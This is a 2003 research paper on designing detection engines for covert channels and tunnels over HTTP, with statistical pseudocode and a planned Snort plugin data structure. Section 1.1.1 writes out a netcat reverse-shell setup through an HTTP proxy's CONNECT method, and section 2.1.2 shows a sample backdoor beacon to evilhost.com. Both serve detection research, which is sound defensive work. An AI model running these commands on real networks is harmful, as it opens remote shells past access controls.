文章作者：scastro [at] entreelibre.com
================================================================================
Covert Channel and Tunneling over the HTTP protocol Detection :
GW implementation theoretical design
v1.1 - November 2003
Simon Castro <scastro [at] entreelibre.com>
CWV - 6th of December 2003
Gray-World Team
http://www.gray-world.net
================================================================================
================================================================================
Current Working version - last updated the 6th of December 2003
<fryxar [at] yahoo.com.ar> released a tool - tcpstatflow on
www.geocities.com/
fryxar/ - which monitors TCP connections in order to alert the operator when
connections related values (such as the number of bytes exchanged, the number of
packet exchanged and the amount of time the connection stands up) exceed
configured thresholds.
I am currently working on a complementary tool which is storing each
tcpstatflow recorded connection into a list in order to display characteristics
of connections on a client view basis, a server view basis and a timeline basis.
Current Working version - last updated the 22th of November 2003
<simonis [at] att.net> suggested me the first phrase of the INTRODUCTION part
was irrelevant to the discussed topic. I updated thus the paper.
Current Working version - last updated the 5th of October 2003
Mic <caffeine [at] gmx.net> and I are currently working on the common problems
of false positive and negative when designing a NIDS related tool.Refer to FALSE
POSITIVE AND NEGATIVE at the end of this document for the current discussion.
================================================================================
================================================================================
Copyright (c) 2003, Simon Castro <scastro [at] entreelibre.com>.
Permission is granted to copy, distribute and/or modify this document under the
terms of the GNU Free Documentation License, Version 1.2 or any later version
published by the Free Software Foundation; with the Invariant Sections being
LIST THEIR TITLES, with the Front-Cover Texts being LIST, and with the
Back-Cover Texts being LIST.
You must have received a copy of the license with this document and it should
be present in the fdl.txt file.
If you did not receive this file or if you don't think this fdl.txt license is
correct, have a look on the official
http://www.fsf.org/licenses/fdl.txt
license file.
================================================================================
=======
SUMMARY
=======
CHANGELOG AND NOTES
INTRODUCTION
1. DETECTION THEORY
1.1. SIGNATURE-BASED DETECTION
1.1.1. Basic tunneling example : Reverse-Shell using NetCat
1.1.2. Running a signature-based detection engine
1.2. PROTOCOL-BASED DETECTION
1.2.1. Basic tunneling example : Tunneling SSH with the CONNECT method
1.2.2. Running a protocol-based detection engine
1.3. BEHAVIORAL-BASED DETECTION
1.3.1. Covert channel example : Wrapping arbitrary data into HTTP
1.3.2. Running a behavioral-based detection engine
1.3.3. Statistical approaches
1.3.4. Behavioral-based detection engine and covert channels
2. GW IMPLEMENTATION THEORETICAL DESIGN
2.1. WHAT KIND OF INFORMATIONS ARE WE LOOKING FOR ?
2.1.1. Covert Channels detection : unauthorized tunnels
2.1.2. Covert Channels detection : backdoor communications
2.2. THE LOCATION OF THE DETECTION ENGINE ?
2.3. WHAT KIND OF INFORMATIONS ARE WE PLANNING TO MONITOR ?
2.4. WHAT ABOUT THE STATISTICAL METHODS PRESENTATION ?
2.5. WHAT ABOUT THE PROTOCOL-BASED DETECTION ?
2.6. LEARNING PERIOD AND/OR STATIC PRE-CONFIGURATION ?
2.7. DETECTION vs PREVENTION ASPECTS
CONCLUSION
ANNEXE 1 - DATA STRUCTURE ACTUALLY DESIGNED
THANKS
WEBOGRAPHY
================================================================================
===================
CHANGELOG AND NOTES
===================
o v1.1 - November 2003 : Updated the INTRODUCTION and the THANKS parts and
added a CHANGELOG AND NOTES part.
o v1.0 - July 2003 : Initial publication.
This paper was originally released at Hitchhiker's World Issue #7 (have a
look at
http://www.infosecwriters.com/hhworld/).
You will find on
http://team.gray-world.net/public the current working version
of this paper.
================================================================================
============
INTRODUCTION
============
Whereas detecting and/or reacting (proactively or not) to Covert Channels is a
topic presented by security researchers in a wide number of papers, the
detection of Covert Channels and Tunnels embedded inside the HTTP protocol is a
relatively new (theoretical) research area.
Three main detection approaches exist. The signature-based approach involves
building and updating a signatures database and notifying the operator when a
known signature is found in the network data streams. The protocol-based
approach focuses on protocol anomalies or violations and incase the monitored
communications turn out to be "abnormal", the operator is notified. The behavior
-based approach involves creating behavioral user profiles (users, workstations,
servers, network streams, etc.) and using statistical methods to determine if
the observed data stream is suspicious.
Although we know simple covert techniques can easily be detected on a
production Network Access Control System (NACS), we consider that the more
advanced ones described in [1] are more difficult to catch.
Let's first take a look at some concepts related to the main detection
approaches to and subsequently focus on a Gray-World theoretical design /
implementation.
================================================================================
===================
1. DETECTION THEORY
===================
1.1. SIGNATURE-BASED DETECTION
------------------------------
Using a signature-based detection designed tool involves searching for
specific pre-defined patterns (signatures) into the network stream monitored.
The related signature appears as something the detector should/must match to
trigger an alarm process.
1.1.1. Basic tunneling example : Reverse-Shell using NetCat
-----------------------------------------------------------
NetCat [2] is a "network swiss army knife". We use it in this example to
create a reverse-shell communication channel between the internal network
and the "very bad and dangerous" [12] W3 public network. Note that this is a
widely known example at the present time...
We arbitrary use a Win32 internally located workstation (due to
popularity) and suppose the only way to reach the external public resources
is to use an HTTP proxy configured in the NACS.
This box uses nc11nt [2], a "configuration" file and a run file :
go_on.bat :
@echo off
type go_on.txt
wait /delay=3 /quiet
c:\winnt\system32\cmd.exe
go_on.txt :
CONNECT @DST_SRV_IP:443 HTTP/1.0\r\n
User-Agent: Thank_you_to_allow_the_connect_method\r\n
Host: @DST_SRV_IP:443\r\n
Proxy-Connection: Keep-Alive\r\n
Pragma: no-cache\r\n
\r\n
\r\n
Note : Don't forget to enter <return> twice at the end of the previous
text file.
The "evil" [12] internally located authorized user runs "nc.exe -L -p 443"
on the external located @DST_SRV_IP server and runs "nc.exe
@NACS_PROXY_IP:NACS_PROXY_PORT -e go_on.bat" on the internal located box.
And what does this user do now ?
1.1.2. Running a signature-based detection engine
-------------------------------------------------
Running a signature-based detection engine is not as easy as it seems with
this example. It would be possible to match cmd.exe related patterns in the
data stream, but legitimate websites may set it off if valid files contain
these patterns too.
To override such a distinction problem, the detection engine would, for
example, have to ask : "Is there an HTTP header in the requests/reponses
messages ?" and thus become a kind of protocol-based detection engine.
However, it may be feasible to customize some specific rule sets for
existing signature detection engines such as the Snort [7] Network Intrusion
Detection System (NIDS). In this case, the engine could consider the rule
set as a kind of stop-list to flag the operator.
Also, using an existing signature-based detection engine also gives the
opportunity to use its HTTP decoding functionalities.
1.2. PROTOCOL-BASED DETECTION
-----------------------------
Using a protocol-based detection designed tool involves searching for
protocol anomalies or violations while monitoring a network stream. A protocol
-based detection engine should/must be carefully designed concerning what it
understands from the protocol specifications and what kind of choice it has to
take when different operating systems handle different protocol states.
1.2.1. Basic tunneling example : Tunneling SSH with the CONNECT method
----------------------------------------------------------------------
We again suppose that the only way to reach external public resources
from the internal network is through a NACS HTTP Proxy.
Using the HTTP CONNECT method to transit arbitrary data as SSH [3] data
streams through a NACS HTTP Proxy is something a variety of tools [4] offers
at the present time.
For example, a SSH client opens a TCP connection to a proxy client tool
which opens a TCP connection to the proxy server and sends a CONNECT string
which asks the proxy server to open a TCP connection to a destination SSHd
server. When the TCP tunnel (SSH client - Proxy Client - Proxy Server -
Destination server) is up, the SSH communication begins.
We let you think of other concrete examples ?
1.2.2. Running a protocol-based detection engine
------------------------------------------------
Using a protocol-based detection approach is something interesting looking
at our previous examples.
In the both previous examples (1.1.1. and 1.2.1.), the tools use the HTTP
CONNECT method to reach an external public resource. As this HTTP method
should only be used to transit a SSL data stream (to the NACS administrator
point of view), it would be possible to run a protocol-based detection
engine which monitors that a SSL handshake occurs each time a TCP connection
transits through the NACS.
Note that we don't suppose here that the SSL connection can be used to
transit arbitrary data. If we want to keep the SSL functions such as
confidentiality but at the same time, monitor for eventual covert streams,
the detection engine won't have to be a protocol-based but merely a
behavioral-based one.
The both previous examples are also based on non-HTTP servers (a nc.exe
listener and a SSHd server). The data stream generated doesn't have usual
HTTP content such as HTTP headers.
We now have something to monitor in the data stream. But, does not this
look too easy ?
Indeed, some covert channel and tunneling tools [4] allow the user to only
use HTTP requests and responses messages. These tools don't need to use the
CONNECT method, but instead, specially crafted HTTP POST requests messages.
Furthermore, other tools even allow setting SSL tunnels to transit
arbitrary data avoiding thus any eavesdropper to look at the data stream.
It is, again, possible to design a robust protocol-based detection engine
following most of the RFCs specifications to ensure that the data stream is
RFC compliant. For example : one HTTP response per HTTP request, a Hostname
header field must exist when the HTTP/1.1 protocol is used, etc.
But for carefully designed covert channel and tunneling tools, our
protocol-based detection model is not useful anymore...
But be quiet (?), let's now try (!) to detect such tools...
1.3. BEHAVIORAL-BASED DETECTION
-------------------------------
Using a behavioral-based detection tool involves creating user profiles as
reference points (which can be statically or dynamically defined) to study
anomalies in the network stream.
1.3.1. Covert channel example : Wrapping arbitrary data into HTTP
------------------------------------------------------------------
Some tools allow building covert channels through legitimate HTTP data
streams using HTTP header parts or HTTP body parts, using different HTTP
methods, using covering and steganographic techniques, etc (Refer to [1] -
5. COVERING AND STEGANOGRAPHIC METHODS and to [4] in general).
1.3.2. Running a behavioral-based detection engine
--------------------------------------------------
Running a behavioral-based detection engine first involves creating
reference user profiles (users, workstations, servers, network streams, etc)
in a clean environment. These behavioral profiles are then applied into the
production environment and used to match differences between real time user
profiles and reference profiles.
Matching a difference is done using statistical methods. A threshold based
on the reference profile is calculated and if a production value exceeds the
reference threshold, the operator is notified.
1.3.3. Statistical approaches
-----------------------------
We present here to the reader some statistical approaches. All of these
methods could be used to gather information from the recorded network
streams in order to calculate values which would be checked against the
reference(s) profile(s).
Probabilistic detection
-----------------------
It involves creating a context which sets that the probability for an
event D to appear after an events sequence A, B and C is X% and to group
probability contexts into a reference profile.
The reference profile context probability values could be tunable and
updated all along the detection engine running period.
Example :
---------
What is the probability for a connection to occur for more than five
times during a five minutes delay between the same source address and the
same destination address and to exceed one megabyte if we are between 2AM
and 3AM ?
Event_A : connection from source address 's' to destination address 'd'.
Event_B : connection 's->d' number 'n'.
Event_C : delay since the beginning of the 's->d' connections 't'.
Event_D : amount 'a' of data from 's' to 'd' since the beginning of the
's->d' connections in kbytes.
Event_E : 'Event A' occurs between 'h' (ex: 2AM) and 'H' (ex: 3AM).
Learning Period on a per day basis ?
if ('Event_A')
then
/*
** Store the number of 's->d' connections occuring at 'h'
*/
Learning_Connections['Event_A']['h'] += 1;
/*
** Store this specific information
*/
if (('n' > 5) and ('t' < 5) and ('a' > 1000))
then
Learning_Counter['h'] += 1;
Reset('n','t','a');
fi
fi
Running Period on a per day basis ?
if ('Event_A')
then
/*
** Store the number of 's->d' connections occuring at 'h'
*/
Running_Connections['Event_A']['h'] += 1;
if (('n' > 5) and ('t' < 5) and ('a' > 1000))
then
Running_Counter['h'] += 1;
Reset('n','t','a');
if ((Running_Counter['h']/Running_Connections['Event_A']['h']) >
(Learning_Counter['h']/Learning_Connections['Event_A']['h']))
then
/*
** Apply here some threshold functions ?
*/
Raise_Alarm("'s->d' probability between 'h' and 'h+1' was\
exceeded.");
fi
fi
fi
Pure statistical detection
--------------------------
This model involves checking quantitatively the parameter values of
specific resources during a certain time (often called "learning period")
to generate a reference profile.
When the detection engine then runs in a production period, it dynamically
checks the reference profile against real time specific resources values
using statistical operations and (basically) if a difference upper than a X%
threshold is calculated, an alarm or whatever is raised.
Example :
---------
Run the detection engine in learning mode for 't' hours, hour after hour
'h' and record the amount of data 'a' from the source address 's' to the
destination address 'd' and the number of connections 'n' occuring on
each 's->d' communications.
Learning Period ?
:Initialization
t_test = 0;
t_current = 'h';
/*
** Comes here for each connection : from SYN to FIN
*/
:Begin
if ('h' > t_begin)
then
t_test += ('h' - t_current);
t_current = 'h';
fi
if (t_test >= 't')
then
Learning_Period_Is_Over();
else
Learning_Counter['s->d']['h'] += 1;
Learning_Amount['s->d']['h'] += 'a';
fi
Running Period ?
/*
** Comes here for each connection : from SYN to FIN
*/
:Begin
Running_Counter['s->d']['h'] += 1;
Running_Amount['s->d']['h'] += a;
if (Running_Counter['s->d']['h'] > Learning_Counter['s->d']['h'])
then
/*
** Apply here some threshold functions ?
*/
Raise_Alarm("At 'h', 's->d' exceeded learnt Counter value);
fi
if (Running_Amount['s->d']['h'] > Learning_Amount['s->d']['h'])
then
/*
** Apply here some threshold functions ?
*/
Raise_Alarm("At 'h', 's->d' exceeded learnt Amount value");
fi
Note that this kind of statistical detection is implemented into the
"Statistical Packet Anomaly Detection Engine" SPADE [5] module for the Snort
[7] NIDS with the "Stealthy Portscan and Intrusion Correlation Engine" SPICE
[6] to detect port scans.
Neuronal network detection
--------------------------
That kind of detection is based on the concept that it is possible to set
an activities profile for each user in a clean environment.
This profile is then represented as a neuronal network which watches X
user actions and tries to guess the X+1 one or learns the user actions
during a T period and then tries to guess the next one.
When a guess is false (guess which can be threshold balanced), an alarm or
whatever is raised.
Example :
---------
If we take the example of the 'Pure statistical detection' part, we can
suppose that we learn each hour, hour after hour, the amount of data sent
'as' or received 'ar' and the number of connections 'n' occuring on each
's->d' communications.
We now present a way to watch users actions during a T period and then
try to guess the next one.
:Begin
T = Current_Hour();
N = Number_of_hour_in_the_learning_period;
Running_Counter['s->d'][T] = Update_The_Current_Hour_Values();
for ((H = each_hour_of_the_learning_period))
do
Average_Counter += Learning_Counter['s->d'][H];
if (Running_Counter['s->d'][T] > Learning_Counter['s->d'][H])
then
/*
** Number of time the number of connections exceeded a previous
** number of connections
*/
Number_of_match += 1;
fi
done
/*
** Number of connections (average) per hour
*/
Average_Counter /= N;
if (Running_Counter['s->d'][T] > Average_Counter)
then
/*
** The number of connection for this 'have to guess' hour exceeds the
** average value
*/
if (Number_of_match > 0)
then
/*
** The connection number for this 'have to guess' hour exceeded
** Number_of_match times a previously recorded information
*/
/*
** Apply here some other threshold balancing functions ?
*/
/*
** I now guess that this current number of connections was not
** higher than 75% of the previously number of connections
** recorded during the learning period... If I'm wrong then we
** raise an alarm
*/
if (((Number_of_match / N) * 100) > 75)
then
Raise_Alarm("At H, Running Counter Guess was false");
fi
fi
fi
Scenario approach using the Bayes inference
-------------------------------------------
That kind of detection is based on a signature detection and on an attack
scenario probability at the same time.
We could set up a system in which each suspicious matched signature
(hypothetical attack) found in the monitored data stream is part of a global
set (symptoms) and use each global set to calculate, with a Bayes inference,
the probability for a known attack to be on hold knowing the P(Hypothetical
attack / Symptoms) probability.
If the detection engine finds a suspicious scenario which probability
value is greater than a set threshold, an alarm or whatever is raised.
Example :
---------
Well, I cannot find any good example for this approach... If someone has
an idea ?
1.3.4. Behavioral-based detection engine and covert channels
------------------------------------------------------------
The statistical detection models presented in 1.3.3. could be usable to
detect covert channel and tunneling data streams with a less or more high
false positive rate.
We can take in consideration the following aspects when thinking about a
future implementation : Do we need a learning period or not ? Do we need a
way to dynamically tune some of the detection engine parameters such as
specific thresholds ? Is there a way to drastically reduce the false
positive rate if we only watch some kind of data streams or data patterns ?
================================================================================
=======================================
2. GW IMPLEMENTATION THEORETICAL DESIGN
=======================================
Whereas we know it is, at the present time, unbelievable to detect covert and
tunneling tools using some of the advanced methods presented in [1], we feel it
would be easy to detect and track the most common covering tools.
We will try thereafter to present the design we will use for our development
stage so that readers could have an idea of our implementation goals and decide
to help us if they want to :)
2.1. WHAT KIND OF INFORMATIONS ARE WE LOOKING FOR ?
---------------------------------------------------
We will now join our IDS theories knowledge to the NACS bypassing techniques
presented in [1] to design an unauthorized HTTP usage detection engine.
So, what should exactly raise an alarm from a theoretical point of view ?
The most common type of Covert Channels utilization are unauthorized tunnels
and backdoor communications (refer to [1] for such examples).
We'll suppose for the next parts that the security policy used is an
exemplary one and is based on the obvious assumption : "We block everything,
then we allow specific and precise access".
An unique outgoing data stream is authorized through a DMZ located mandatory
HTTP proxy allowing internal located users to surf the web using the HTTP and
HTTPS protocols :
Workstation_1 -|
Workstation_2 -|----> Firewall_1 ----> HTTP_PROXY ----> Firewall_2 ----> WWW
Workstation_X -|(Statefull_80_443_OUT) (Statefull_80_443_OUT)
* Firewall_1 and Firewall_2 label refer to the firewall rules and not the
physical server (i.e. : An unique server could be used).
* The HTTP CONNECT method is only authorized if the destination port is the
TCP 443 one.
* Last words regarding this NACS architecture : Redundant network equipments
could be used for Firewalls and mandatory HTTP proxies, self-made rotating
rules could be done on the OSI layer 2 to break SSL connections occuring
for more than a certain delay, etc...
2.1.1. Covert Channels detection : unauthorized tunnels
-------------------------------------------------------
Covert channel methods establishing unauthorized tunnels are often used
to transit real world application data streams. A Covert Channel (CC) client
opens a legitimate connection through a NACS and uses this connection to
send and receive arbitrary data from a CC server.
Questions are now : "What characterizes such kind of covert channel
tunnels ?" and "What kind of tunnel traces can we get from the network
streams ?".
We will now present some kind of tunnel traces. Some of them may be
redundant to the reader point of view but we are trying here to have a (non-
exhaustive) list of tunnel traces.
Unauthorized tunnel traces :
(1) : High amount of inbound/outbound data transiting through the NACS -
Inside POST or PUT requests for example - These high data amounts
may occur one time only or be generated during a specific period
delay.
(2) : Small but frequent amount of inbound/outbound data transiting
through the NACS - A CC telnet-like communication channel will, for
example, generate a very small but frequent amount of data.
(3) : Requests/responses are sent too frequently or are sent on a curious
static interval.
(4) : One "user" requests a small quantity of external resources too
frequently.
(5) : The data stream transiting through the NACS contains some specific
patterns such as SSH banners for examples.
(6) : The data stream transiting through the NACS generates HTTP protocol
anomalies or violations.
The first four tunnel traces could be detected by a behavioral-based
detection engine. The fifth one could be detected by a signature-based one
while the last tunnel trace could be detected by a protocol-based one.
2.1.2. Covert Channels detection : backdoor communications
----------------------------------------------------------
A backdoor client gets installed onto the user workstation via email,
www script, floppy disk or anything else. Since it cannot build a direct
connection to its master server, it fetches the local box mandatory proxy
settings and sends an HTTP message through the NACS to its master server :
====================================================
POST
http://evilhost.com/cgi-bin/server.cgi HTTP/1.0
Host: evilhost.com
Content-Length: 42
Content-Type: application/octet-stream
Hey, I finally waked me up. Are you ready?
====================================================
And, of course, the master server is alive and answers with the
corresponding HTTP response message telling smartly to the backdoor client :
"Please, my dear backdoor client, may I ask you to send me what we defined
as precious yesterday night and then I will let you sleep for 1 week ...".
Since the previous generated HTTP traffic is extremely low, it is almost
impossible to detect such communication channels. But we will suppose in the
next parts that the intruder is not a guru and didn't paid attention to the
"Proprietary user defined protocol" mode presented in [1] nor did carefully
designed his client/server tool to confuse our detection engine with some of
the "Covering and steganographic methods" presented in [1].
So, let's try to imagine some common characteristics and unauthorized
traces involved in a backdoor communication.
Unauthorized tunnel traces :
(1) : High amount of inbound/outbound data transiting through the NACS -
Inside POST or PUT requests for example - These high data amounts
may occur one time only or be generated during a specific period
delay.
(2) : Small amount of inbound/outbound data transiting through the NACS.
(3) : The data stream transiting through the NACS generates HTTP protocol
anomalies or violations.
2.2. THE LOCATION OF THE DETECTION ENGINE ?
-------------------------------------------
Another question is : "Where is the detection engine located?", it is not
a trivial one.
When an HTTP client wants to initiate an HTTP communication with an HTTP
server, it opens a TCP connection to the HTTP server. But, if an HTTP
intermediary (Not a transparent proxy) is the only way out of the internal
network for the HTTP client, the client opens a TCP connection to the HTTP
intermediary.
We now face the first design problem : It won't be possible to obtain source
AND destination IP addresses from the 3rd layer of the OSI model. On the front
of the HTTP intermediary (i.e. : on the internal side), we will get the source
IP addresses and behind the HTTP intermediary, we will get the destination
ones.
So, the easier way to get source AND destination IP addresses from the data
streams between the clients and the proxy server would be to implement a
detection engine which analyzes each packet at the 3rd, 4th and upper layers
of the OSI model and which would be located on the front of the HTTP
intermediaries (i.e. : between the HTTP client(s) and the first HTTP
intermediary).
Note that when the NACS HTTP protection scheme is based on transparent
proxies, this problem shall not occur.
We should also keep in mind that the corporate web servers of our DMZ can be
used to setup scripts such as WSH [8] or FIREPASS [9]. Detecting such a bad
[12] traffic may require the detection engine to be located on another network
than the user network presented in 2.1. WHAT KIND OF INFORMATIONS ARE WE
LOOKING FOR ?
Another detection engine location could be on the middle of each HTTP
communication channel between HTTP clients and intermediaries. In other words,
it would be feasible to design a 'gateway' HTTP intermediary as it is defined
in [10]. This gateway would be located on the front of the standard HTTP
intermediaries and would send data to monitor to the detection engine before
proxying the requests streams to the standard HTTP intermediaries.
The previous "in-the-middle" location could also be used to design specific
engines running as modules for the popular and available HTTP proxies.
2.3. WHAT KIND OF INFORMATIONS ARE WE PLANNING TO MONITOR ?
-----------------------------------------------------------
Analyzing the following information should be sufficient to detect the most
common covering tools in the first development stage of the detection engine.
Global values for each client :
* Number of destination servers (a).
* Number of TCP connections (same per server).
* Amount of outbound data (same per server).
* Amount of inbound data (same per server).
* Amount of communication channels uptime (same per server).
* Amount of TCP connection uptime (same per server).
Average values per client :
* Number of destination servers.
* Number of TCP connections / destination servers number (a).
* Amount of outbound data /destination servers number (a).
* Amount of inbound data / destination servers number (a).
* Amount of communication channels uptime / destination servers number (a).
* Amount of TCP connection uptime / destination server number (a).
Destination servers (a) Top20 and Bottom20 (b) values for each client :
* per number of TCP connections.
* per amount of outbound data.
* per amount of inbound data.
* per amount of time a communication channel stands up.
* per amount of time a TCP connection stands up.
Notes :
(a) : This data would be only be convenient if the destination server IP
address is the real destination IP address and not the proxy one.
(b) : The Top20 contains the most accessed servers while the Bottom20
contains the less accessed servers.
The previous Global, Average, Top20 and Bottom20 values could also be
calculated on a specific time period - Shall an hour by hour time period be
granular enough ? - as it would be possible to monitor the evolution of one
configured value all along the detection run time.
It also would be convenient to calculate global average for all of the
monitored clients :
* on a detection run time period.
* on a specific time period.
* on all of the Top20/Bottom20 values.
The previous monitoring could be ran during a learning period. This would
generate a reference profile of the production network data stream exchanges.
Have a look on the ANNEXE 1 - DATA STRUCTURE ACTUALLY DESIGNED part of this
document to learn about the data structure we are actually planning to use.
2.4. WHAT ABOUT THE STATISTICAL METHODS PRESENTATION ?
------------------------------------------------------
And you now ask the obvious but quite good question : "Why did this guy tell
us about statistical methods ?".
The usual Web user behavior is something which could not be easily defined.
Any Web user clicks two times or more on an hyperlink, uses the back and next
buttons one time, two times, three times, without any good (?) reason. Any web
user clicks and clicks and clicks again and again on the reload button because
he thinks the download rate will be faster or because he thinks the page
content should/will change ?
This user behavior would decrease our detection engine skills if it watches
for the unauthorized tunnel traces presented in 2.1.1. Covert Channels
detection : unauthorized tunnels (traces 2, 3 and 4) or presented in 2.1.2.
Covert Channels detection : backdoor communications (trace 2).
Plenty of browser add-ons or server-side applications exist which "help" the
web crawler to clean the kitchen, to give food to the dog or to choice a gift
for ... Basically, all of these proprietary web appliances would increase the
amount of TCP connections, the amount of outbound and inbound data, etc.
Again, our detection engine may be raising false positive alarms if it uses
the kind of traces described in 2.1.1. Covert Channels detection :
unauthorized tunnels (trace 1) and in 2.1.2. Covert Channels detection :
backdoor communications (trace 1).
We also have to mention that some browser or web servers may not follow
the RFC specifications. Such a browser/server may raise an alarm in a protocol
-based detection engine while no covert communication occurred.
And again, our detection engine could be confused, is if it implements a
trace presented in 2.1.1. Covert Channels detection : unauthorized tunnels
(trace 6) or presented in 2.1.2. Covert Channels detection : backdoor
communications (trace 3).
Balancing monitored values using statistical methods should then help to
reduce the false positive rate.
Using statistical methods could also be useful to assign different
threshold calculation methods regarding the period of the day (night, day,
lunch, etc.), the destination web servers, etc...
2.5. WHAT ABOUT THE PROTOCOL-BASED DETECTION ?
----------------------------------------------
It also would be quiet interesting if the application data stream related to
the monitored set could be monitored in real time by a third party (or not ?)
module which would apply some kind of protocol-based detection : It would then
be feasible to check (for example) that connections using the HTTP CONNECT
method really begin with a SSL handshake, that exotic HTTP methods are not
used (refer to [1] - 3. USING HTTP METHODS), etc...
Another interesting possibility would be to record a whole (or part of a)
data stream if an anomaly score is reached. This could lead to further
investigation by a third party module ?
2.6. LEARNING PERIOD AND/OR STATIC PRE-CONFIGURATION ?
------------------------------------------------------
This question may be easily answered. If the engine design includes a
learning period functionality, it would be quiet a good idea to implement some
basic configuration through the use of a static file.
This would allow the user to set a detection engine with his specific
network parameters. For example, this user may choice to raise an alarm if a
TCP connection lasts for more than five minutes or if a same source IP address
/ destination IP address uploads/downloads more than x kbytes.
2.7. DETECTION vs PREVENTION ASPECTS
------------------------------------
I focused this paper on the detection of unauthorized covert channels and
tunnels running over the HTTP protocol, but as we had a long discussion with
Alex on this topic, here is a few comments about these aspects.
The main goal of an IDS obviously is the detection of something. Sometimes
(but more and more since a few years), the IDS implements an active response
mode which allow the user to choice the kind of action the IDS must perform
when it matches that "something".
For a NIDS (Network IDS), the usual active response mechanisms consist to
stop an intrusion (before, while or after it occurs) : Telling a firewall to
dynamically load specific rules, sending crafted TCP reset, telling someone
to isolate the attacked server, telling someone to jail the bad [12] attacker,
etc.
Note that there is few underlying problems related to the NIDS active
response modes. One of these problems is that the NIDS shall have an OSI layer
3 address (on a TCP/IP environment) to communicate with the other network
devices - but this is not a real problem if this communication occurs on an
isolated management network. It only becomes a problem if the NIDS is
configured to reset the "bad" [12] connections as it will need a valid IP
address on the monitored network and thus could be targeted by the attacker.
Another problem resides on the fact that allowing a NIDS to response to an
attack may be used by an attacker who will try to trigger some of the NIDS
rules in order to DOS part or all of a network resource (including the NIDS
itself).
Another concept on the prevention topic exist with the Intrusion Prevention
Systems (IPS) which are based on the concept that it is possible not only to
detect occuring attacks but also to prevent them to be successful. This is a
new security research field at the current time and it is widely commented on
the security discussion lists (have a look on [11] for an introduction).
Basically, an IPS acts on the lower layers of the OSI model and is often
told "inline" as data streams must transit through it to reach their
destination. Does this seems to be quite related to one of the engine location
we described in 2.2. THE LOCATION OF THE DETECTION ENGINE ? ?. For the gurus,
I'll now suppose that we're dealing with network-IPS.
So you now may ask: what is the main difference between an NIDS and a NIPS ?
and the answer is as easy as the difference between their name. A NIDS detects
an attack and is then able to inform anyone (including itself) that an attack
occurred - but this attack passed through the NACS - whereas the NIPS gets the
data stream and tries to detect an attack before passing this data stream to
the next intermediaries it protects.
The IPS concept however has to deal with some problems. A NIDS "fails open"
- that is : if the NIDS crashes, no one knows it (well, except the admin I
suppose ...) - whereas an IPS may "fail closed" - that is : all of the world
knows it and you can wait for the phone to ring in a few seconds... . Another
problem when adding inline network devices and asking them to detect
something is that it may require to increase the resources (memory, cpu, disk
storage, ...). A theoretic but last problem we focuse on in this part is that
when you have something "inline" watching for some bad [12] guy to come in and
that this bad guy knows how to trigger your fantastic new toy, you'll have
more to do than only shutdown that equipment as you did it when you were using
that old NIDS - And I'm no more speaking of technical jobs to do but merely
of how many people you'll have to do that job in your security response team.
================================================================================
==========
CONCLUSION
==========
This paper is a prelude to an implementation as we are actually thinking about
the best way to design a detection engine.
We are actually thinking on a Snort [7] preprocessor plugin detection model.
Using the Snort capture API, we could process data streams packet per packet and
store the information presented in 2.3. WHAT KIND OF INFORMATIONS ARE WE
PLANNING TO MONITOR ? in an appropriate data structure.
We feel that the covert channel detection engine should be designed on a two
part tool : a data stream monitor which listens on the wire and records data in
a proprietary binary form and a correlation engine (modules-based) which would
be in charge to investigate the data streams recorded for eventual anomalies.
The communication between these two parts could be socket-based for a real time
detection model or file-based for a batch detection model. But this is our first
step design model ;).
We also feel that it is not possible on a quiet secure NACS scheme to only
investigate for anomalies on the 3rd and 4th layers of the OSI model. It would
be better to implement a detection engine which basically understands some of
the HTTP protocol specifications (header/body, URLs, URIs, etc...) so that we
could use the destination servers IP addresses and implement basic
protocol-based detection rules.
It is obvious that the network informations we are planning to monitor (as
described in the 2.3. WHAT KIND OF INFORMATIONS ARE WE PLANNING TO MONITOR ?
part of this paper) could of course be used to watch for covert channel or
tunnel occuring over any protocol other than the HTTP one.
To conclude, this is a really interesting research topic and we would
appreciate any contribution (remark, suggestion, link to an already done
detection tool) helping us to update this paper or giving us hints for our
development stage.
================================================================================
===========================================
ANNEXE 1 - DATA STRUCTURE ACTUALLY DESIGNED
===========================================
|----------------|
| t_main_infos |
|----------------|
||
\/
|----------------|
| t_src_infos | ===> t_src_infos (x)
| (first) |
|----------------|
||
\/
|----------------|
| t_dst_infos | ===> t_dst_infos (x)
| (first) |
|----------------|
||
\/
|----------------|
| t_period_infos | ===> t_period_infos (x)
| (first) |
|----------------|
Note : Period infos is a kind of modulo. Ex: If the period is 4 hours, then
there is 24/4 = 6 period elems of 4 hours... and it is modulo because after a
full day period, the algo loops on the first period_info elem.
/* Double-linked list Elem */
typedef struct s_infos_list_elem {
void *datas;
t_dst_infos_list_elem *next;
t_dst_infos_list_elem *previous;
} t_infos_list_elem;
/* Destination server period informations for a client */
typedef struct s_period_infos {
struct timeval starttime;
u_int32_t number_of_tcp_connections;
u_int32_t outbound_data_amount;
u_int32_t inbound_data_amount;
u_int32_t com_channel_uptime;
u_int32_t tcp_com_uptime;
} t_period_infos;
/* Destination server informations for a client */
typedef struct s_dst_infos {
struct in_addr ip_dst;
u_int16_t dst_port;
/* first_of_period->datas <=> (t_period_infos *) */
t_infos_list_elem *first_of_period;
} t_dst_infos;
/* Information struct element for each clients */
typedef struct s_src_infos {
struct in_addr ip_src;
/* first_of_servers->datas <=> (t_dst_infos *) */
t_infos_list_elem *first_of_servers;
u_int32_t number_of_servers;
} t_src_infos;
/* main and global data struct of the detection plugin */
typedef struct s_main_infos {
struct timeval starttime;
/* first_of_clients->datas <=> (t_src_infos *) */
t_infos_list_elem *first_of_clients;
u_int32_t number_of_clients;
} t_main_infos;
================================================================================
======
THANKS
======
Big thanks to the GW Team :
o Alex <alex at gray-world.net> for his review, comments, ideas and a "DOS
the Internet" party during our mails exchanges :)
o Brian <b.otto at runbox.com> who searched and found :\ my english spelling
mistakes.
Thanks to Arun Darlie Koshy <root [at] arunkoshy.cjb.net> who accepted to
check the pre-release version of this paper, giving you thus something easier
to read :)
Thanks to <simonis [at] att.net> who suggested me that the first phrase of the
Introduction part - "Detecting Covert Channels and Tunneling data streams is a
relatively new (theoretical) research area. [...]" - was as incomplete as
irrelevant.
================================================================================
==========
WEBOGRAPHY
==========
[1]: Exploitation of data streams authorized by a network access control
system for arbitrary data transfers : tunneling and covert channels over
the HTTP protocol - v1.0 - Alex Dyatlov & Simon Castro , June 2003
http://gray-world.net/projects/papers/covert_paper.txt
[2]: NetCat, Hobbit, 20th of March 1996
http://www.atstake.com/research/tools/network_utilities/
[3]: OpenSSH
http://www.openssh.org
[4]: Network Access Control System (NACS) bypassing
http://www.gray-world.net
[5]: SPADE - Statistical Packet Anomaly Detection Engine
